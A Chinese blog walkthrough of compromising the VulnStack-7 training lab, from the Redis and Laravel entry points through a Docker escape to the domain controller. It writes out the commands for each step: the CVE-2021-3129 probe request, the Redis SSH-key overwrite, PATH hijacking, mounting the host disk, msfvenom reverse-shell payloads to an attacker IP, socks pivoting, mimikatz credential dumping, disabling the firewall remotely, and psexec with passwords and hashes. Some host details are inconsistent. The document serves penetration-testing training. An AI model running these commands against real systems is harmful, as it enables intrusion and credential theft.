内网提权教程——VulnStack-7靶场内网横向提权详细教程（Laraver测试，Redis未授权，SSH免密登陆，Dockers容器逃逸，MSF搭建socks代理，PTH横向）

提示：文章写完后，目录可以自动生成，如何生成可参考右边的帮助文档

本人CSDN博客：https://blog.csdn.net/m0_73812072?spm=1011.2415.3001.5343

靶场介绍

本次环境种，将对由5台目标主机组成的三层网络环境进行渗透，三层网络由DMZ区、第二层网络、第三层不连通外网的网络组成。

DMZ区存在一台Ubuntu系统的Redis服务器；
第二层网络存在一台Ubuntu系统的Docker服务器和一台Windows 7系统的OA服务器；
第三层网络则由一台域控服务器和一台域内主机组成；

整个靶场环境一共五个靶机（总共27.8 GB），分别位于三层网络环境中；

网络拓扑结构

该环境网络拓扑如图：

Ubuntu1：192.168.44.137 / 10.10.10.28
Ubuntu2：10.10.10.29 / 10.10.20.13
Windows1：10.10.10.30 / 10.10.20.14
Windows2：10.10.20.15
域控DC：10.10.20.16

将通过DMZ区的Redis服务器作为入口点，逐步进行渗透测试操作，并最终拿到域控主机权限，实现对该环境的完全掌控。

环境配置

在Vmware中新增两个虚拟网卡VMnet9、VMnet11。
（1）VMnet8设为默认的NAT模式，作为DMZ区网段；
（2）VMnet11设为仅主机模式，作为第一层内网网段；
（3）VMnet9设为仅主机模式，作为第二层内网网段；

其中，三个网段的IP分别如下：

DMZ区网段：192.168.44.0/24
一层内网：10.10.10.0/24
二层内网：10.10.20.0/24

将VMnet11作为第二层网络的网卡，VMnet9作为第三层网络的网卡。这样，第二层网络中的所有主机皆可以上网，但是位于第三层网络中的所有主机都不与外网相连通，不能上网。

服务配置

靶场中各个主机都运行着相应的服务并且没有自启功能，如果你关闭了靶机，再次启动时还需要在相应的主机上启动靶机服务：

DMZ区的 Ubuntu 需要启动redis和nginx服务：

1
2
3

redis-server /etc/redis.conf
/usr/sbin/nginx -c /etc/nginx/nginx.conf
iptables -F

结果如下：

第二层网络的 Ubuntu需要启动docker容器：

1 2	sudo service docker start sudo docker start 8e172820ac78

结果如下：

第三层网络的 Windows 7 （PC 1）需要启动通达OA：

1	C:\MYOA\bin\AutoConfig.exe

域用户信息

域用户账户和密码如下：

- Administrator：Whoami2021
- whoami：Whoami2021
- bunny：Bunny2021
- moretz：Moretz2021

其他主机的正常登陆账号为：

（1）Ubuntu 1：web / web2021

（2）Ubuntu 2：ubuntu / ubuntu

（3）通达OA账户：admin / admin657260

靶机配置

Ubuntu1网络配置

如果设置的网段并没有完全符合之前的设置，比如我的10.10.10.0/24变成了192.168.52.0/24，就是因为作者在主机上设置了静态IP：

解决方法：

# 备份原配置文件（重要，防止改错）
cp /etc/netplan/01-network-manager-all.yaml /etc/netplan/01-network-manager-all.yaml.bak

# 编辑配置文件
nano /etc/netplan/01-network-manager-all.yaml

# 修改为下面的配置

# Let NetworkManager manage all devices on this system
network:
    version: 2
    renderer: networkd
    ethernets:
       ens33:
          dhcp4: true
          optional: true
       ens38:
          dhcp4: true  # 核心修改：从 no 改为 true，开启自动获取
          optional: true  # 只保留一行 optional 即可
          # 注释/删除所有静态配置（addresses/gateway4/nameservers）

按上面的正确内容修改（删除 nameservers 段、把 dhcp4: no 改 true、删除重复的 optional: true）

然后应用配置：sudo netplan apply 即可；

结果如下：

Ubuntu2网络配置

我们打开靶机发现IP地址也都是静态的：

同理还是修改配置文件：

# 备份原有配置（重要）
sudo cp /etc/network/interfaces /etc/network/interfaces.bak

# 编辑传统网络配置文件
sudo nano /etc/network/interfaces

# 替换为以下内容（实现双网卡自动获取 IP）
root@ubuntu:~# cat /etc/network/interfaces
# interfaces(5) file used by ifup(8) and ifdown(8)

auto lo
iface lo inet loopback

auto eth0
iface eth0 inet dhcp

auto eth1
iface eth1 inet dhcp
root@ubuntu:~#

随后重启网络让配置生效：

sudo service networking restart
# 或手动刷新 DHCP（确保立即获取新 IP）
sudo dhclient -r eth0 && sudo dhclient eth0
sudo dhclient -r eth1 && sudo dhclient eth1

成功配置：

Windows7 + 域控DC网络配置

首先打开控制面板：

双击IPv4选项，自动获得：

随后成功配置：

第一台Windows7主机：

第二台Windows7主机：

域控DC网络配置，操作如下：

成功配置：

至此，我们的前期配置准备的差不多了，直接开始本地靶场之旅；

Ubuntu1：192.168.44.137 / 10.10.10.28

Ubuntu2：10.10.10.29 / 10.10.20.13

Windows1：10.10.10.30 / 10.10.20.14

Windows2：10.10.20.15

域控DC：10.10.20.16

解决问题：访问返回502 Bad Gateway(耗时40分钟)

问题现象：
访问 http://192.168.44.137:81/ 返回 502

问题原因：
Nginx 反向代理目标写错，实际后端服务运行在 Docker 容器映射的 8000 端口，而不是默认 80 端口

排查步骤：

在 Ubuntu2 查看容器端口：

docker ps

确认存在：

1	0.0.0.0:8000->80/tcp

在 Ubuntu1 测试后端连通性：

1	curl http://10.10.10.29:8000

解决方法：
修改 Nginx 配置文件：

1	nano /etc/nginx/conf.d/81.conf

改为：

server {
    listen 81;

    location / {
        proxy_pass http://10.10.10.29:8000;
    }
}

重启服务：

1 2	nginx -t systemctl restart nginx

最终结果：
访问 http://192.168.44.137:81/ 成功显示后端 Laravel 页面

一句话总结：
502 的本质是 Nginx 连不上后端，本题是因为代理端口写错（80 → 实际应为 8000）

Web服务提权

首先我们使用Kali机器，针对NAT网段：192.168.44.0/24进行扫描，看看目标资产存在哪些主机：

随后继续收集其开放了哪些端口以及服务：

而我们有Nmap进行扫描，还额外发现了一个Redis服务器的6379端口：

22端口：SSH远程连接服务
80端口：HTTP服务
81端口：搭建的Web框架
6379端口：默认Redis服务开启

Web框架信息收集

这里我们首先尝试访问 http://192.168.44.137:81/，发现其搭建了一个Larvel框架：

可以知道，81端口上开放的Web服务是基于Laravel框架的。

同时，从该页面右下角还可以看到使用的Laravel框架版本以及PHP版本，Laravel框架版本为v8.29.0，PHP版本为v7.4.14

通过CVE或者Seebug等搜索引擎可以搜索Laravel框架是否存在可以利用的漏洞，重点关注可以直接获取权限或者数据的漏洞:

经过排查，发现远程代码执行符合当前搭建的框架：v8.29.0 < v8.4.2

下一步就要对Web服务器上运行的Lavarel框架进行漏洞测试，然后要对Redis数据库进行测试;

Laravel RCE漏洞测试服务器81端口(哥斯拉)

首先尝试发送漏洞检测POC数据包检测漏洞是否存在，数据包如下：

POST /  HTTP/1.1
Host: 192.168.44.137:81
Content-Type: application/json
Content-Length: 328

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "xxxxx"
}

结果如下，确认存在漏洞：

用BP能渲染出页面：

可以看到目标Laravel服务开启了Debug模式，存在远程代码执行漏洞

于是我们从网上查找符合CVE-2021-3129的EXP，并执行脚本：

利用脚本可以对存在漏洞的Laravel框架自动获取shell：

这里我们得到了Webshell的地址以及登陆密码pass，随后用哥斯拉进行访问：（因为它用的是哥斯拉的Webshell）

哥斯拉V2.96版本webshell管理工具可以连接成功；

这里我暂时切换Java的版本：

# 切换到哥斯拉目录
cd /d D:\渗透tools\Webshell\Godzilla

# 临时指定Java 8路径（仅当前窗口生效，不改系统全局）
set JAVA_HOME=C:\Program Files\Java\jdk1.8.0_91
set PATH=%JAVA_HOME%\bin;%PATH%

# 验证Java版本（显示1.8.0_91即成功）
java -version

# 启动哥斯拉（无UI版本报错）
java -jar Godzilla-V2.96.jar

随后成功连接：webshell地址:http://192.168.44.137:81/fuckyou.php,密码:pass

执行whoami命令得到当前用户名为www-data；
执行 ls-al /命令查看根目录下的文件列表信息发现存在.dockerenv文件，猜测当前系统环境为Docker环境；
如果想了解如何进行docker逃逸，可以看：VulnStack-4靶场内网横向解析(Struts2，Tomcat，phpmyadmin漏洞利用，Dockers容器逃逸，Socks代理内网，PTH横向)

如何确认是docker环境

使用cat /proc/self/cgroup 和 hostname 命令，看是否与上述Docker容器ID匹配：

可以确认当前环境为Docker环境；

接下来我们要进行docker逃逸的话，需要对www-data用户进行提权；

Redis未授权访问漏洞测试6379端口与ssh免密登陆

之前我们发现目标主机还开放了6379端口，所以我们可以尝试看其是否存在漏洞：

# 登陆服务器
redis-cli -h 192.168.44.137

# 查看信息
info
keys *

连接时发现该Redis数据库服务未设置认证，存在未授权访问漏洞；无须任何凭证信息即可访问Redis数据库服务；

在Redis数据库服务存在未授权访问漏洞的情况下，常见的获取服务器
shell的方法一般有：

写SSH-keygen

写计划任务反弹shell

写webshell

利用主从复制获取shell等方式;

可以通过Redis Desktop Manager操作Redis手工获取服务器shell，也可以使用工具进行自动化获取shell;

这里我选择工具进行自动化获取：

成功连接Redis数据库后，会输出目标Redis数据库服务的相关信息，如Redis版本、是否允许主从备份等信息：

该工具具备一键替换服务器SSH公钥的功能，但是需要事先生成SSH公私钥。所以需要先在Kali中运行ssh-keygen -t rsa命令，生成SSH公私钥：

在/root/.ssh目录下将会生成SSH公私钥文件;

cat/root/.ssh/id_rsa.pub，随后将上述SSH公钥内容复制粘贴到窗口中，点击“开始替换”按钮，将目标Redis服务器的SSH公钥替换为本地生成的SSH公钥：

SSH公钥替换成功后，接下来就可以使用本地生成的私钥登录目标Redis
服务器了：

通过6379端口所在的Redis服务写入的SSH公钥可以直接通过开放的22端口进行登录；

由此判断192.168.96.21:6379和192.168.96.21:22同属一台服务器。此处关于使用SSH私钥登录Linux主机的过程不再赘述；

这里我们输入id_rsa 私钥后，即可成功连接目标主机：

成功连接：

至此，我们成功拿下了第一台Web主机，并且发现其有两个网段！

Laravel服务器提权

这里我们也不能忘了还有Laravel框架的机器呢；这里我们需要查看有什么能偶利用的方法，能够对其进行提权：

SUID提权
SUDO提权
敏感文件提权

经过测试，发现存在SUID提权：

1	find / -perm -u=s -type f 2>/dev/null

去到相应目录进行查看；

执行这个脚本文件时，发现它输出了当前系统进程列表信息，执行效果与Linux系统中的ps命令类似：

转到/home/jobs/目录下，通过ls-al命令查看/home/jobs/目录下的文件信息。发现在该目录下，除了存在一个名为shell的可执行文件外，还存在一个demo.c文件：

内容如下：

#include<unistd.h>
void main()
{
  setuid(0);
  setgid(0);
  system("ps");
}

猜测/home/jobs/demo.c文件为/home/jobs/shell可执行文件的源代码；

Laravel服务器权限提升

基于上面的Laravel服务器环境识别得到的信息，可以通过修改环境变量$PATH，让/home/jobs/shell执行指定的测试程序，从而达到提权的目的：

www-data@ubuntu:/home# docker exec -it 8e172820ac78 /bin/bash
www-data@8e172820ac78:/var/www/html# cd /tmp
www-data@8e172820ac78:/tmp# echo "/bin/bash" >ps
www-data@8e172820ac78:/tmp# chmod 777 ps
www-data@8e172820ac78:/tmp# echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
www-data@8e172820ac78:/tmp# export PATH=/tmp:$PATH
www-data@8e172820ac78:/tmp#

完成上述步骤后，再执行/home/jobs/shell。由于修改了环境变量，/tmp/ps将会被执行，调起/bin/bash，得到一个root权限的shell：

www-data@8e172820ac78:/tmp# /home/jobs/shell
www-data@8e172820ac78:/tmp# whoami
root
www-data@8e172820ac78:/tmp#

docker容器逃逸到宿主机

Docker容器提权成功后，依旧无法触及Docker容器宿主机所在的内部网络，所以此时必须对Docker环境进行逃逸；

我们可以通过命令创建一个文件夹，然后将/dev/sda1挂载到该文件夹目录下，这样就可以访问宿主机的全部文件：

1
2
3

# 这样我们就能访问宿主机的所有文件
mkdir /tiquan
mount /dev/sda1 /tiquan

既然已经可以成功操作宿主机的文件目录，那么就可以像利用Redis未授权访问漏洞获取shell一样，通过写入生成的SSH公钥来登录Docker宿主机服务器。
这里要将SSH密钥写到/tiquan/root/.ssh/目录下，具体步骤与上文获取Redis服务器权限类似，在此不再赘述；

SSH密钥写入成功后，我们并不能够直接从测试主机上使用SSH私钥登录Docker宿主机服务器；

因为这台Docker宿主机并没有将SSH端口映射到外部；

如果想登录Docker宿主机服务器，就必须使用一台与Docker宿主机相同内网环境的机器作为跳板机进行登录，而Redis服务器无疑是最佳选择；

所以我们可以在redis服务器中登陆Laravel服务器：

通过ifconfig命令查看Docker宿主机的网络配置，发现Docker宿主机与Redis服务器一样是双网卡的配置：

至此，我们拿下了第二台主机的权限；

利用MSF搭建内网路由

这里我们发现目标主机还有另一个网段：10.10.10.0/24，所以我们需要测试该内网网段是否还存在其他主机：

访问内网的方法有很多，比如搭建socks代理，DNS代理，MSF / CS代理等；
也可以使用工具进行访问；

此时我们已经得到了两个内网网段：10.10.10.0/24 和 10.10.20.0/24 ，但是我们的Kali访问不到，所以需要搭建socks代理：

这里我们先生成payload，随后上传到这两台主机：

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.44.129 LPORT=5555 -f elf > MSF.elf

# 随后开启监听
use exploit/multi/handler
set payload payload/linux/x64/meterpreter/reverse_tcp
set lhost 192.168.44.129
set lport 5555
run

结果如下，成功上线Web服务器主机：

随后我们搭建socks代理，即可访问Ubuntu2主机：

# 进入会话，添加一层内网网段到路由
run autoroute -s 10.10.10.0/24

# 退出会话，搭配socks模块使用
use auxiliary/server/socks_proxy
set srvport 8081
exploit

现在我们就可以通过192.168.44.129:8081的端口来转发内网流量了：

一层内网信息收集

这里我们配置好proxifier 后，对内网网段10.10.10.0/24进行扫描：proxychains nmap -sP 10.10.10.0/24：

当然也可以用其他工具：

当再访问Docker宿主机10.10.10.29时，不再需要将Redis服务器作为跳板进行SSH登录，在Kali上也可以直接对Docker宿主机进行SSH连接：

二层内网信息收集

所以我们也可以将二层内网网段10.10.20.0/24添加到路由里：

# 进入会话，添加二层内网网段到路由
run autoroute -s 10.10.20.0/24

# 退出会话，搭配socks模块使用
use auxiliary/server/socks_proxy
set srvport 8082
exploit

结果如下：

随后针对二层内网进行网段扫描：

根据上述的结果，http://10.10.10.30:8080访问后的Web界面与http://10.10.20.14:8080的访问界面完全一致：（也就是Windows1机器开放的服务）：

由于上述两个Web服务访问界面完全一致，且前面已经获得控制权的Docker宿主机的10.10.10.0/24、10.10.20.0/24两个网段在同一台主机上。

由此可以猜测10.10.10.30和10.10.20.14也同属一台服务器；

总结：我们发现了内网中的其他3台主机，并发现了域whoamianony.org；

具体可以看网络结构拓扑图；

同时在域内发现了通达OA网络智能办公系统服务以及开放了445端口的Windows 7系统主机；

这意味着我们接下来很可能可以利用通达OA相关历史漏洞以及永恒之蓝漏洞进行测试；

内网横向阶段

现在我们针对Windows1的机器开放的通达OA以及445端口的永恒之蓝漏洞进行检测：也就是第三台主机

首先用Seebug等公开漏洞平台搜索通达OA存在的历史漏洞：

发现存在多个RCE漏洞，于是我们可以从网上寻找脚本payload进行测试：

通达OA漏洞利用(获取版本号)

根据网上的POC，我们先下载脚本：https://github.com/NS-Sp4ce/TongDaOA-Fake-User

然后根据提示，输入代码：

1	python POC.py -v 2017 -url http://10.10.20.14:8080/

得到结果：

访问访问主页 http://10.10.20.14:8080/general/index.php

修改cookie中PHPSESSID的值并刷新页面就会页面跳转：

1	COOKIE:PHPSESSID=9ht1n00n0hudq29jsqfgtid435;

可以得到版本为v11.3，通过查询，该版本存在后台文件上传漏洞，可进行getshell；

也就是说，通过任意用户登录漏洞结合后台文件上传漏洞，理论上可以获取 http://10.10.20.14:8080/ 所对应的通达OA服务器的控制权限；

通达OA文件上传漏洞

在GitHub上搜索到通达OA“任意用户登录漏洞+后台文件上传漏洞”的一键getshell利用脚本：TongdaOA-exp：https://github.com/z1un/TongdaOA-exp

1
2

- 网上WP：这里修改了它的 TongdaOA-exp 脚本。我发现他在发现 fake_user 漏洞的时候，不能正确获取 cookie。
	- 把上述 Fake_user 脚本运行出来的 cookie 值替换到了 TongdaOA-exp 脚本中

结果如下：（如需修改后的脚本可评论区联系，不然会被审核和谐掉）

冰蝎也成功连接：

得到最高权限，拿下第三台主机！

执行命令查看IP地址，之前我们的猜测：“上述两个Web服务访问界面完全一致，可以猜测10.10.10.30和10.10.20.14也同属一台服务器；” 也是正确的；

利用MS17-010测试域控DC445端口的SMB服务(失败)

现在我们就剩下一台域控DC以及一台Windows7没有控制了；

在之前二层内网信息收集中，我们还发现了另外一台Windows主机：10.10.20.16:445

它开放了135、445、3389端口，可能存在永恒之蓝漏洞；所以我们可以针对其进行尝试：（MSF模块用了很多次，这里就不赘述了）

具体可以看：VulnStack-4靶场内网横向解析(Struts2，Tomcat，phpmyadmin漏洞利用，Dockers容器逃逸，Socks代理内网，PTH横向) 内网横向PC主机部分：

search ms17-010

use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhost 10.10.20.16
run

结果如下：

很可惜，并没有成功；

mimikatz获取密码横向域控DC

这里我们换种方式，加载msf集成的mimikatz模快：

前提将通达OA的主机也上线到MSF中
因为mimikatz需要在Windows主机中才能执行；
我们的shell是Ubuntu1的主机；

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.20.17 LPORT=6666 -f exe > MSF.exe

msfconsole
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.20.17
set LPORT 6666
run

结果如下：

进入Windows会话，提权到SYSTEM后，再执行下面命令：

# 进入会话
load kiwi
getsystem

# 获取凭证
creds_all

过程：

再往下看，获取了相应的明文密码：

使用Psexec /PTH横向域控

尝试用administrator横向移动：

use exploit/windows/smb/psexec

set payload windows/x64/meterpreter/bind_tcp
set smbuser administrator
set smbpass Whoami2021
set rhost 10.10.20.16
run

# 如果失败了，很有可能是防火墙的问题，我们用IPC通道关闭防火
net use \\10.10.20.16\ipc$ "Whoami2021" /user:"Administrator"
sc \\10.10.20.15 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\10.10.20.16 start unablefirewall

关闭防火墙，再执行PTH横向：

拿下域控：

至此，我们拿下了所有的主机；

额外知识补充：PTH与Psexec横向的区别

我会用通俗易懂的方式为你解释这些命令和相关概念，特别适合新手理解渗透测试中的这些核心工具和方法。

1. 什么是 Psexec？

Psexec 是微软 Sysinternals 套件中的一款官方工具，本意是允许管理员在远程Windows主机上执行命令/程序（无需手动安装客户端）。
在渗透测试中，攻击者会滥用这个工具的原理：通过 SMB 协议（Windows 文件共享协议）连接目标主机，上传并执行一个小型可执行文件，从而获取远程命令执行权限。

2. 什么是 PTH（Pass-the-Hash）横向？

PTH（哈希传递）：一种绕过明文密码验证的攻击方式。Windows 系统会存储用户密码的 NTLM 哈希值，PTH 攻击直接使用这个哈希值代替明文密码进行身份验证，无需破解密码。
横向移动：拿下内网一台机器后，利用这台机器作为跳板，攻击同一内网中的其他机器。
你的命令不是 PTH：你提供的命令中使用了 set smbpass Whoami2021（明文密码），而非哈希值，因此这是普通的 Psexec 明文认证攻击，不是 PTH。
如果是 PTH，命令会是 set smbpass aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c（NTLM 哈希格式）。

# 1. 选择 Psexec 渗透模块（核心利用 SMB 协议的远程执行模块）
use exploit/windows/smb/psexec

# 2. 设置攻击载荷：生成 64 位 Windows 系统的 Meterpreter 反向交互 shell（bind_tcp 表示让目标主动监听端口，攻击者连接）
set payload windows/x64/meterpreter/bind_tcp

# 3. 设置目标主机的 SMB 用户名（Windows 管理员账户）
set smbuser administrator

# 4. 设置目标主机的 SMB 密码（明文密码）
set smbpass Whoami2021

# 5. 设置目标主机的 IP 地址
set rhost 10.10.20.16

# 6. 执行攻击
run

3. 如果要改成 PTH 攻击（补充）

如果你想实现 PTH 横向移动，只需修改密码为 NTLM 哈希即可，命令如下：

use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/bind_tcp
set smbuser administrator
# 格式：LM哈希:NTLM哈希（LM哈希为空时用aad3b435b51404eeaad3b435b51404ee填充）
set smbpass aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c
set rhost 10.10.20.16
run

一句话概括

Psexec：原本是Windows远程管理工具，渗透中被用来通过SMB协议远程执行命令，获取目标权限；
你的命令本质：使用明文账号密码的Psexec攻击，不是PTH；
PTH（哈希传递）：核心是用NTLM哈希代替明文密码认证，无需破解密码即可横向移动，只需将smbpass改为哈希值即可实现。

总结

[🔴 Redis 未授权访问]
          ↓
[🔴 获得初始 Web Shell]
          ↓
[🟠 Laravel CVE-2021-3129]
          ↓
[🟠 拿到 Docker www-data 权限]
          ↓
[🟠 环境变量劫持 → 容器 Root]
          ↓
[🟠 Docker 特权挂载物理机目录]
          ↓
[🟠 写入 SSH Key → Docker 宿主机 Root]
          ↓
[🟡 内网双网段扫描 → 发现通达OA]
          ↓
[🔵 通达OA Fake_user + 文件上传漏洞]
          ↓
[🔵 拿下 PC1 System 权限]
          ↓
[🔵 通过PC1上传MSF payload到PC2]
          ↓          
[🔵 MSF Kiwi 抓取明文密码]
          ↓
[🔵 关闭目标防火墙]
          ↓
[🟣 PsExec 横向移动 → 拿下域控]

本次 vulnstack7 靶场渗透测试，先通过 Laravel RCE 漏洞获取对应 Docker 容器普通权限，利用 Redis 未授权访问拿到 Ubuntu 服务器 root 权限；再经 SUID 提权与特权模式逃逸获取 Docker 宿主机控制权，搭建内网代理打通两个内网网段；随后发现域环境、通达 OA 与开放 445 端口的 Win7 主机，借助 OA 漏洞、MS17-010 及 PsExec 横向渗透，最终控制内网全部主机。

创作不易，感谢支持；

期待下次再见；